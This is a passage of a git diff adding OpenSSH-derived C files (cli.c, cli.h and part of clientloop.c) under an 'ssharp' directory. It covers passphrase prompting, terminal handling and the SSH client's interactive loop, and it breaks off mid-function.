DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: cli.c,v 1.11 2001/03/06 00:33:04 deraadt Exp $"); + +#include "xmalloc.h" +#include "log.h" +#include "cli.h" + +static int cli_input = -1; +static int cli_output = -1; +static int cli_from_stdin = 0; + +sigset_t oset; +sigset_t nset; +struct sigaction nsa; +struct sigaction osa; +struct termios ntio; +struct termios otio; +int echo_modified; + +volatile int intr; + +static int +cli_open(int from_stdin) +{ + if (cli_input >= 0 && cli_output >= 0 && cli_from_stdin == from_stdin) + return 1; + + if (from_stdin) { + if (!cli_from_stdin && cli_input >= 0) { + (void)close(cli_input); + } + cli_input = STDIN_FILENO; + cli_output = STDERR_FILENO; + } else { + cli_input = cli_output = open(_PATH_TTY, O_RDWR); + if (cli_input < 0) + fatal("You have no controlling tty. Cannot read passphrase."); + } + + cli_from_stdin = from_stdin; + + return cli_input >= 0 && cli_output >= 0 && cli_from_stdin == from_stdin; +} + +static void +cli_close(void) +{ + if (!cli_from_stdin && cli_input >= 0) + close(cli_input); + cli_input = -1; + cli_output = -1; + cli_from_stdin = 0; + return; +} + +void +intrcatch(int sig) +{ + intr = 1; +} + +static void +cli_echo_disable(void) +{ + sigemptyset(&nset); + sigaddset(&nset, SIGTSTP); + (void) sigprocmask(SIG_BLOCK, &nset, &oset); + + intr = 0; + + memset(&nsa, 0, sizeof(nsa)); + nsa.sa_handler = intrcatch; + (void) sigaction(SIGINT, &nsa, &osa); + + echo_modified = 0; + if (tcgetattr(cli_input, &otio) == 0 && (otio.c_lflag & ECHO)) { + echo_modified = 1; + ntio = otio; + ntio.c_lflag &= ~(ECHO | ECHOE | ECHOK | ECHONL); + (void) tcsetattr(cli_input, TCSANOW, &ntio); + } + return; +} + +static void +cli_echo_restore(void) +{ + if (echo_modified != 0) { + tcsetattr(cli_input, TCSANOW, &otio); + echo_modified = 0; + } + + (void) sigprocmask(SIG_SETMASK, &oset, NULL); + (void) sigaction(SIGINT, &osa, NULL); + + if (intr != 0) { + kill(getpid(), SIGINT); + sigemptyset(&nset); + /* XXX tty has not neccessarily drained by now? */ + sigsuspend(&nset); + intr = 0; + } + return; +} + +static int +cli_read(char* buf, int size, int echo) +{ + char ch = 0; + int i = 0; + int n; + + if (!echo) + cli_echo_disable(); + + while (ch != '\n') { + n = read(cli_input, &ch, 1); + if (n == -1 && (errno == EAGAIN || errno == EINTR)) + continue; + if (n != 1) + break; + if (ch == '\n' || intr != 0) + break; + if (i < size) + buf[i++] = ch; + } + buf[i] = '\0'; + + if (!echo) + cli_echo_restore(); + if (!intr && !echo) + (void) write(cli_output, "\n", 1); + return i; +} + +static int +cli_write(const char* buf, int size) +{ + int i, len, pos, ret = 0; + char *output, *p; + + output = xmalloc(4*size); + for (p = output, i = 0; i < size; i++) { + if (buf[i] == '\n' || buf[i] == '\r') + *p++ = buf[i]; + else + p = vis(p, buf[i], 0, 0); + } + len = p - output; + + for (pos = 0; pos < len; pos += ret) { + ret = write(cli_output, output + pos, len - pos); + if (ret == -1) { + xfree(output); + return -1; + } + } + xfree(output); + return 0; +} + +/* + * Presents a prompt and returns the response allocated with xmalloc(). + * Uses /dev/tty or stdin/out depending on arg. Optionally disables echo + * of response depending on arg. Tries to ensure that no other userland + * buffer is storing the response. + */ +char* +cli_read_passphrase(const char* prompt, int from_stdin, int echo_enable) +{ + char buf[BUFSIZ]; + char* p; + + if (!cli_open(from_stdin)) + fatal("Cannot read passphrase."); + + fflush(stdout); + + cli_write(prompt, strlen(prompt)); + cli_read(buf, sizeof buf, echo_enable); + + cli_close(); + + p = xstrdup(buf); + memset(buf, 0, sizeof(buf)); + return (p); +} + +char* +cli_prompt(char* prompt, int echo_enable) +{ + return cli_read_passphrase(prompt, 0, echo_enable); +} + +void +cli_mesg(char* mesg) +{ + cli_open(0); + cli_write(mesg, strlen(mesg)); + cli_write("\n", strlen("\n")); + cli_close(); + return; +} diff --git a/other/ssharp/cli.h b/other/ssharp/cli.h new file mode 100644 index 0000000..bf263db --- /dev/null +++ b/other/ssharp/cli.h @@ -0,0 +1,43 @@ +/* $OpenBSD: cli.h,v 1.4 2001/03/01 03:38:33 deraadt Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* $OpenBSD: cli.h,v 1.4 2001/03/01 03:38:33 deraadt Exp $ */ + +#ifndef CLI_H +#define CLI_H + +/* + * Presents a prompt and returns the response allocated with xmalloc(). + * Uses /dev/tty or stdin/out depending on arg. Optionally disables echo + * of response depending on arg. Tries to ensure that no other userland + * buffer is storing the response. + */ +char* cli_read_passphrase(const char* prompt, int from_stdin, + int echo_enable); +char* cli_prompt(char* prompt, int echo_enable); +void cli_mesg(char* mesg); + +#endif /* CLI_H */ diff --git a/other/ssharp/clientloop.c b/other/ssharp/clientloop.c new file mode 100644 index 0000000..369ffe4 --- /dev/null +++ b/other/ssharp/clientloop.c @@ -0,0 +1,1252 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * The main loop for the interactive session (client side). + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * + * Copyright (c) 1999 Theo de Raadt. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * + * SSH2 support added by Markus Friedl. + * Copyright (c) 1999,2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: clientloop.c,v 1.65 2001/04/20 07:17:51 djm Exp $"); + +#include "ssh.h" +#include "ssh1.h" +#include "ssh2.h" +#include "xmalloc.h" +#include "packet.h" +#include "buffer.h" +#include "compat.h" +#include "channels.h" +#include "dispatch.h" +#include "buffer.h" +#include "bufaux.h" +#include "key.h" +#include "kex.h" +#include "log.h" +#include "readconf.h" +#include "clientloop.h" +#include "authfd.h" +#include "atomicio.h" +#include "sshtty.h" +#include "misc.h" + +/* import options */ +extern Options options; + +/* Flag indicating that stdin should be redirected from /dev/null. */ +extern int stdin_null_flag; + +/* + * Name of the host we are connecting to. This is the name given on the + * command line, or the HostName specified for the user-supplied name in a + * configuration file. + */ +extern char *host; + +/* + * Flag to indicate that we have received a window change signal which has + * not yet been processed. This will cause a message indicating the new + * window size to be sent to the server a little later. This is volatile + * because this is updated in a signal handler. + */ +static volatile int received_window_change_signal = 0; + +/* Flag indicating whether the user\'s terminal is in non-blocking mode. */ +static int in_non_blocking_mode = 0; + +/* Common data for the client loop code. */ +static int quit_pending; /* Set to non-zero to quit the client loop. */ +static int escape_char; /* Escape character. */ +static int escape_pending; /* Last character was the escape character */ +static int last_was_cr; /* Last character was a newline. */ +static int exit_status; /* Used to store the exit status of the command. */ +static int stdin_eof; /* EOF has been encountered on standard error. */ +static Buffer stdin_buffer; /* Buffer for stdin data. */ +static Buffer stdout_buffer; /* Buffer for stdout data. */ +static Buffer stderr_buffer; /* Buffer for stderr data. */ +static u_long stdin_bytes, stdout_bytes, stderr_bytes; +static u_int buffer_high;/* Soft max buffer size. */ +static int connection_in; /* Connection to server (input). */ +static int connection_out; /* Connection to server (output). */ +static int need_rekeying; /* Set to non-zero if rekeying is requested. */ +static int session_closed = 0; /* In SSH2: login session closed. */ + +void client_init_dispatch(void); +int session_ident = -1; + +/*XXX*/ +extern Kex *xxx_kex; + +/* Restores stdin to blocking mode. */ + +void +leave_non_blocking(void) +{ + if (in_non_blocking_mode) { + (void) fcntl(fileno(stdin), F_SETFL, 0); + in_non_blocking_mode = 0; + fatal_remove_cleanup((void (*) (void *)) leave_non_blocking, NULL); + } +} + +/* Puts stdin terminal in non-blocking mode. */ + +void +enter_non_blocking(void) +{ + in_non_blocking_mode = 1; + (void) fcntl(fileno(stdin), F_SETFL, O_NONBLOCK); + fatal_add_cleanup((void (*) (void *)) leave_non_blocking, NULL); +} + +/* + * Signal handler for the window change signal (SIGWINCH). This just sets a + * flag indicating that the window has changed. + */ + +void +window_change_handler(int sig) +{ + received_window_change_signal = 1; + signal(SIGWINCH, window_change_handler); +} + +/* + * Signal handler for signals that cause the program to terminate. These + * signals must be trapped to restore terminal modes. + */ + +void +signal_handler(int sig) +{ + if (in_raw_mode()) + leave_raw_mode(); + if (in_non_blocking_mode) + leave_non_blocking(); + channel_stop_listening(); + packet_close(); + fatal("Killed by signal %d.", sig); +} + +/* + * Returns current time in seconds from Jan 1, 1970 with the maximum + * available resolution. + */ + +double +get_current_time(void) +{ + struct timeval tv; + gettimeofday(&tv, NULL); + return (double) tv.tv_sec + (double) tv.tv_usec / 1000000.0; +} + +/* + * This is called when the interactive is entered. This checks if there is + * an EOF coming on stdin. We must check this explicitly, as select() does + * not appear to wake up when redirecting from /dev/null. + */ + +void +client_check_initial_eof_on_stdin(void) +{ + int len; + char buf[1]; + + /* + * If standard input is to be "redirected from /dev/null", we simply + * mark that we have seen an EOF and send an EOF message to the + * server. Otherwise, we try to read a single character; it appears + * that for some files, such /dev/null, select() never wakes up for + * read for this descriptor, which means that we never get EOF. This + * way we will get the EOF if stdin comes from /dev/null or similar. + */ + if (stdin_null_flag) { + /* Fake EOF on stdin. */ + debug("Sending eof."); + stdin_eof = 1; + packet_start(SSH_CMSG_EOF); + packet_send(); + } else { + enter_non_blocking(); + + /* Check for immediate EOF on stdin. */ + len = read(fileno(stdin), buf, 1); + if (len == 0) { + /* EOF. Record that we have seen it and send EOF to server. */ + debug("Sending eof."); + stdin_eof = 1; + packet_start(SSH_CMSG_EOF); + packet_send(); + } else if (len > 0) { + /* + * Got data. We must store the data in the buffer, + * and also process it as an escape character if + * appropriate. + */ + if ((u_char) buf[0] == escape_char) + escape_pending = 1; + else + buffer_append(&stdin_buffer, buf, 1); + } + leave_non_blocking(); + } +} + + +/* + * Make packets from buffered stdin data, and buffer them for sending to the + * connection. + */ + +void +client_make_packets_from_stdin_data(void) +{ + u_int len; + + /* Send buffered stdin data to the server. */ + while (buffer_len(&stdin_buffer) > 0 && + packet_not_very_much_data_to_write()) { + len = buffer_len(&stdin_buffer); + /* Keep the packets at reasonable size. */ + if (len > packet_get_maxsize()) + len = packet_get_maxsize(); + packet_start(SSH_CMSG_STDIN_DATA); + packet_put_string(buffer_ptr(&stdin_buffer), len); + packet_send(); + buffer_consume(&stdin_buffer, len); + stdin_bytes += len; + /* If we have a pending EOF, send it now. */ + if (stdin_eof && buffer_len(&stdin_buffer) == 0) { + packet_start(SSH_CMSG_EOF); + packet_send(); + } + } +} + +/* + * Checks if the client window has changed, and sends a packet about it to + * the server if so. The actual change is detected elsewhere (by a software + * interrupt on Unix); this just checks the flag and sends a message if + * appropriate. + */ + +void +client_check_window_change(void) +{ + struct winsize ws; + + if (! received_window_change_signal) + return; + /** XXX race */ + received_window_change_signal = 0; + + if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0) + return; + + debug2("client_check_window_change: changed"); + + if (compat20) { + channel_request_start(session_ident, "window-change", 0); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + packet_send(); + } else { + packet_start(SSH_CMSG_WINDOW_SIZE); + packet_put_int(ws.ws_row); + packet_put_int(ws.ws_col); + packet_put_int(ws.ws_xpixel); + packet_put_int(ws.ws_ypixel); + packet_send(); + } +} + +/* + * Waits until the client can do something (some data becomes available on + * one of the file descriptors). + */ + +void +client_wait_until_can_do_something(fd_set **readsetp, fd_set **writesetp, + int *maxfdp, int rekeying) +{ + /* Add any selections by the channel mechanism. */ + channel_prepare_select(readsetp, writesetp, maxfdp, rekeying); + + if (!compat20) { + /* Read from the connection, unless our buffers are full. */ + if (buffer_len(&stdout_buffer) < buffer_high && + buffer_len(&stderr_buffer) < buffer_high && + channel_not_very_much_buffered_data()) + FD_SET(connection_in, *readsetp); + /* + * Read from stdin, unless we have seen EOF or have very much + * buffered data to send to the server. + */ + if (!stdin_eof && packet_not_very_much_data_to_write()) + FD_SET(fileno(stdin), *readsetp); + + /* Select stdout/stderr if have data in buffer. */ + if (buffer_len(&stdout_buffer) > 0) + FD_SET(fileno(stdout), *writesetp); + if (buffer_len(&stderr_buffer) > 0) + FD_SET(fileno(stderr), *writesetp); + } else { + FD_SET(connection_in, *readsetp); + } + + /* Select server connection if have data to write to the server. */ + if (packet_have_data_to_write()) + FD_SET(connection_out, *writesetp); + + /* + * Wait for something to happen. This will suspend the process until + * some selected descriptor can be read, written, or has some other + * event pending. Note: if you want to implement SSH_MSG_IGNORE + * messages to fool traffic analysis, this might be the place to do + * it: just have a random timeout for the select, and send a random + * SSH_MSG_IGNORE packet when the timeout expires. + */ + + if (select((*maxfdp)+1, *readsetp, *writesetp, NULL, NULL) < 0) { + char buf[100]; + + /* + * We have to clear the select masks, because we return. + * We have to return, because the mainloop checks for the flags + * set by the signal handlers. + */ + memset(*readsetp, 0, *maxfdp); + memset(*writesetp, 0, *maxfdp); + + if (errno == EINTR) + return; + /* Note: we might still have data in the buffers. */ + snprintf(buf, sizeof buf, "select: %s\r\n", strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + quit_pending = 1; + } +} + +void +client_suspend_self(Buffer *bin, Buffer *bout, Buffer *berr) +{ + struct winsize oldws, newws; + + /* Flush stdout and stderr buffers. */ + if (buffer_len(bout) > 0) + atomicio(write, fileno(stdout), buffer_ptr(bout), buffer_len(bout)); + if (buffer_len(berr) > 0) + atomicio(write, fileno(stderr), buffer_ptr(berr), buffer_len(berr)); + + leave_raw_mode(); + + /* + * Free (and clear) the buffer to reduce the amount of data that gets + * written to swap. + */ + buffer_free(bin); + buffer_free(bout); + buffer_free(berr); + + /* Save old window size. */ + ioctl(fileno(stdin), TIOCGWINSZ, &oldws); + + /* Send the suspend signal to the program itself. */ + kill(getpid(), SIGTSTP); + + /* Check if the window size has changed. */ + if (ioctl(fileno(stdin), TIOCGWINSZ, &newws) >= 0 && + (oldws.ws_row != newws.ws_row || + oldws.ws_col != newws.ws_col || + oldws.ws_xpixel != newws.ws_xpixel || + oldws.ws_ypixel != newws.ws_ypixel)) + received_window_change_signal = 1; + + /* OK, we have been continued by the user. Reinitialize buffers. */ + buffer_init(bin); + buffer_init(bout); + buffer_init(berr); + + enter_raw_mode(); +} + +void +client_process_net_input(fd_set * readset) +{ + int len; + char buf[8192]; + + /* + * Read input from the server, and add any such data to the buffer of + * the packet subsystem. + */ + if (FD_ISSET(connection_in, readset)) { + /* Read as much as possible. */ + len = read(connection_in, buf, sizeof(buf)); + if (len == 0) { + /* Received EOF. The remote host has closed the connection. */ + snprintf(buf, sizeof buf, "Connection to %.300s closed by remote host.\r\n", + host); + buffer_append(&stderr_buffer, buf, strlen(buf)); + quit_pending = 1; + return; + } + /* + * There is a kernel bug on Solaris that causes select to + * sometimes wake up even though there is no data available. + */ + if (len < 0 && (errno == EAGAIN || errno == EINTR)) + len = 0; + + if (len < 0) { + /* An error has encountered. Perhaps there is a network problem. */ + snprintf(buf, sizeof buf, "Read from remote host %.300s: %.100s\r\n", + host, strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + quit_pending = 1; + return; + } + packet_process_incoming(buf, len); + } +} + +/* process the characters one by one */ +int +process_escapes(Buffer *bin, Buffer *bout, Buffer *berr, char *buf, int len) +{ + char string[1024]; + pid_t pid; + int bytes = 0; + u_int i; + u_char ch; + char *s; + + for (i = 0; i < len; i++) { + /* Get one character at a time. */ + ch = buf[i]; + + if (escape_pending) { + /* We have previously seen an escape character. */ + /* Clear the flag now. */ + escape_pending = 0; + + /* Process the escaped character. */ + switch (ch) { + case '.': + /* Terminate the connection. */ + snprintf(string, sizeof string, "%c.\r\n", escape_char); + buffer_append(berr, string, strlen(string)); + + quit_pending = 1; + return -1; + + case 'Z' - 64: + /* Suspend the program. */ + /* Print a message to that effect to the user. */ + snprintf(string, sizeof string, "%c^Z [suspend ssh]\r\n", escape_char); + buffer_append(berr, string, strlen(string)); + + /* Restore terminal modes and suspend. */ + client_suspend_self(bin, bout, berr); + + /* We have been continued. */ + continue; + + case 'R': + if (compat20) { + if (datafellows & SSH_BUG_NOREKEY) + log("Server does not support re-keying"); + else + need_rekeying = 1; + } + continue; + + case '&': + /* XXX does not work yet with proto 2 */ + if (compat20) + continue; + /* + * Detach the program (continue to serve connections, + * but put in background and no more new connections). + */ + if (!stdin_eof) { + /* + * Sending SSH_CMSG_EOF alone does not always appear + * to be enough. So we try to send an EOF character + * first. + */ + packet_start(SSH_CMSG_STDIN_DATA); + packet_put_string("\004", 1); + packet_send(); + /* Close stdin. */ + stdin_eof = 1; + if (buffer_len(bin) == 0) { + packet_start(SSH_CMSG_EOF); + packet_send(); + } + } + /* Restore tty modes. */ + leave_raw_mode(); + + /* Stop listening for new connections. */ + channel_stop_listening(); + + printf("%c& [backgrounded]\n", escape_char); + + /* Fork into background. */ + pid = fork(); + if (pid < 0) { + error("fork: %.100s", strerror(errno)); + continue; + } + if (pid != 0) { /* This is the parent. */ + /* The parent just exits. */ + exit(0); + } + /* The child continues serving connections. */ + continue; /*XXX ? */ + + case '?': + snprintf(string, sizeof string, +"%c?\r\n\ +Supported escape sequences:\r\n\ +~. - terminate connection\r\n\ +~R - Request rekey (SSH protocol 2 only)\r\n\ +~^Z - suspend ssh\r\n\ +~# - list forwarded connections\r\n\ +~& - background ssh (when waiting for connections to terminate)\r\n\ +~? - this message\r\n\ +~~ - send the escape character by typing it twice\r\n\ +(Note that escapes are only recognized immediately after newline.)\r\n", + escape_char); + buffer_append(berr, string, strlen(string)); + continue; + + case '#': + snprintf(string, sizeof string, "%c#\r\n", escape_char); + buffer_append(berr, string, strlen(string)); + s = channel_open_message(); + buffer_append(berr, s, strlen(s)); + xfree(s); + continue; + + default: + if (ch != escape_char) { + buffer_put_char(bin, escape_char); + bytes++; + } + /* Escaped characters fall through here */ + break; + } + } else { + /* + * The previous character was not an escape char. Check if this + * is an escape. + */ + if (last_was_cr && ch == escape_char) { + /* It is. Set the flag and continue to next character. */ + escape_pending = 1; + continue; + } + } + + /* + * Normal character. Record whether it was a newline, + * and append it to the buffer. + */ + last_was_cr = (ch == '\r' || ch == '\n'); + buffer_put_char(bin, ch); + bytes++; + } + return bytes; +} + +void +client_process_input(fd_set * readset) +{ + int len; + char buf[8192]; + + /* Read input from stdin. */ + if (FD_ISSET(fileno(stdin), readset)) { + /* Read as much as possible. */ + len = read(fileno(stdin), buf, sizeof(buf)); + if (len < 0 && (errno == EAGAIN || errno == EINTR)) + return; /* we'll try again later */ + if (len <= 0) { + /* + * Received EOF or error. They are treated + * similarly, except that an error message is printed + * if it was an error condition. + */ + if (len < 0) { + snprintf(buf, sizeof buf, "read: %.100s\r\n", strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + } + /* Mark that we have seen EOF. */ + stdin_eof = 1; + /* + * Send an EOF message to the server unless there is + * data in the buffer. If there is data in the + * buffer, no message will be sent now. Code + * elsewhere will send the EOF when the buffer + * becomes empty if stdin_eof is set. + */ + if (buffer_len(&stdin_buffer) == 0) { + packet_start(SSH_CMSG_EOF); + packet_send(); + } + } else if (escape_char == -1) { + /* + * Normal successful read, and no escape character. + * Just append the data to buffer. + */ + buffer_append(&stdin_buffer, buf, len); + } else { + /* + * Normal, successful read. But we have an escape character + * and have to process the characters one by one. + */ + if (process_escapes(&stdin_buffer, &stdout_buffer, + &stderr_buffer, buf, len) == -1) + return; + } + } +} + +void +client_process_output(fd_set * writeset) +{ + int len; + char buf[100]; + + /* Write buffered output to stdout. */ + if (FD_ISSET(fileno(stdout), writeset)) { + /* Write as much data as possible. */ + len = write(fileno(stdout), buffer_ptr(&stdout_buffer), + buffer_len(&stdout_buffer)); + if (len <= 0) { + if (errno == EINTR || errno == EAGAIN) + len = 0; + else { + /* + * An error or EOF was encountered. Put an + * error message to stderr buffer. + */ + snprintf(buf, sizeof buf, "write stdout: %.50s\r\n", strerror(errno)); + buffer_append(&stderr_buffer, buf, strlen(buf)); + quit_pending = 1; + return; + } + } + /* Consume printed data from the buffer. */ + buffer_consume(&stdout_buffer, len); + stdout_bytes += len; + } + /* Write buffered output to stderr. */ + if (FD_ISSET(fileno(stderr), writeset)) { + /* Write as much data as possible. */ + len = write(fileno(stderr), buffer_ptr(&stderr_buffer), + buffer_len(&stderr_buffer)); + if (len <= 0) { + if (errno == EINTR || errno == EAGAIN) + len = 0; + else { + /* EOF or error, but can't even print error message. */ + quit_pending = 1; + return; + } + } + /* Consume printed characters from the buffer. */ + buffer_consume(&stderr_buffer, len); + stderr_bytes += len; + } +} + +/* + * Get packets from the connection input buffer, and process them as long as + * there are packets available. + * + * Any unknown packets received during the actual + * session cause the session to terminate. This is + * intended to make debugging easier since no + * confirmations are sent. Any compatible protocol + * extensions must be negotiated during the + * preparatory phase. + */ + +void +client_process_buffered_input_packets(void) +{ + dispatch_run(DISPATCH_NONBLOCK, &quit_pending, compat20 ? xxx_kex : NULL); +} + +/* scan buf[] for '~' before sending data to the peer */ + +int +simple_escape_filter(Channel *c, char *buf, int len) +{ + /* XXX we assume c->extended is writeable */ + return process_escapes(&c->input, &c->output, &c->extended, buf, len); +} + +void +client_channel_closed(int id, void *arg) +{ + if (id != session_ident) + error("client_channel_closed: id %d != session_ident %d", + id, session_ident); + session_closed = 1; + if (in_raw_mode()) + leave_raw_mode(); +} + +/* + * Implements the interactive session with the server. This is called after + * the user has been authenticated, and a command has been started on the + * remote host. If escape_char != -1, it is the character used as an escape + * character for terminating or suspending the session. + */ + +int +client_loop(int have_pty, int escape_char_arg, int ssh2_chan_id) +{ + fd_set *readset = NULL, *writeset = NULL; + double start_time, total_time; + int max_fd = 0, len, rekeying = 0; + char buf[100]; + + debug("Entering interactive session."); + + start_time = get_current_time(); + + /* Initialize variables. */ + escape_pending = 0; + last_was_cr = 1; + exit_status = -1; + stdin_eof = 0; + buffer_high = 64 * 1024; + connection_in = packet_get_connection_in(); + connection_out = packet_get_connection_out(); + max_fd = MAX(connection_in, connection_out); + + if (!compat20) { + /* enable nonblocking unless tty */ + if (!isatty(fileno(stdin))) + set_nonblock(fileno(stdin)); + if (!isatty(fileno(stdout))) + set_nonblock(fileno(stdout)); + if (!isatty(fileno(stderr))) + set_nonblock(fileno(stderr)); + max_fd = MAX(max_fd, fileno(stdin)); + max_fd = MAX(max_fd, fileno(stdout)); + max_fd = MAX(max_fd, fileno(stderr)); + } + stdin_bytes = 0; + stdout_bytes = 0; + stderr_bytes = 0; + quit_pending = 0; + escape_char = escape_char_arg; + + /* Initialize buffers. */ + buffer_init(&stdin_buffer); + buffer_init(&stdout_buffer); + buffer_init(&stderr_buffer); + + client_init_dispatch(); + + /* Set signal handlers to restore non-blocking mode. */ + signal(SIGINT, signal_handler); + signal(SIGQUIT, signal_handler); + signal(SIGTERM, signal_handler); + signal(SIGPIPE, SIG_IGN); + if (have_pty) + signal(SIGWINCH, window_change_handler); + + if (have_pty) + enter_raw_mode(); + + if (compat20) { + session_ident = ssh2_chan_id; + if (escape_char != -1) + channel_register_filter(session_ident, + simple_escape_filter); + if (session_ident != -1) + channel_register_cleanup(session_ident, + client_channel_closed); + } else { + /* Check if we should immediately send eof on stdin. */ + client_check_initial_eof_on_stdin(); + } + + /* Main loop of the client for the interactive session mode. */ + while (!quit_pending) { + + /* Process buffered packets sent by the server. */ + client_process_buffered_input_packets(); + + if (compat20 && session_closed && !channel_still_open()) + break; + + rekeying = (xxx_kex != NULL && !xxx_kex->done); + + if (rekeying) { + debug("rekeying in progress"); + } else { + /* + * Make packets of buffered stdin data, and buffer + * them for sending to the server. + */ + if (!compat20) + client_make_packets_from_stdin_data(); + + /* + * Make packets from buffered channel data, and + * enqueue them for sending to the server. + */ + if (packet_not_very_much_data_to_write()) + channel_output_poll(); + + /* + * Check if the window size has changed, and buffer a + * message about it to the server if so. + */ + client_check_window_change(); + + if (quit_pending) + break; + } + /* + * Wait until we have something to do (something becomes + * available on one of the descriptors). + */ + client_wait_until_can_do_something(&readset, &writeset, + &max_fd, rekeying); + + if (quit_pending) + break; + + /* Do channel operations unless rekeying in progress. */ + if (!rekeying) { + channel_after_select(readset, writeset); + + if (need_rekeying) { + debug("user requests rekeying"); + xxx_kex->done = 0; + kex_send_kexinit(xxx_kex); + need_rekeying = 0; + } + } + + /* Buffer input from the connection. */ + client_process_net_input(readset); + + if (quit_pending) + break; + + if (!compat20) { + /* Buffer data from stdin */ + client_process_input(readset); + /* + * Process output to stdout and stderr. Output to + * the connection is processed elsewhere (above). + */ + client_process_output(writeset); + } + + /* Send as much buffered packet data as possible to the sender. */ + if (FD_ISSET(connection_out, writeset)) + packet_write_poll(); + } + if (readset) + xfree(readset); + if (writeset) + xfree(writeset); + + /* Terminate the session. */ + + /* Stop watching for window change. */ + if (have_pty) + signal(SIGWINCH, SIG_DFL); + + /* Stop listening for connections. */ + channel_stop_listening(); + + /* + * In interactive mode (with pseudo tty) display a message indicating + * that the connection has been closed. + */ + if (have_pty && options.log_level != SYSLOG_LEVEL_QUIET) { + snprintf(buf, sizeof buf, "Connection to %.64s closed.\r\n", host); + buffer_append(&stderr_buffer, buf, strlen(buf)); + } + /* Output any buffered data for stdout. */ + while 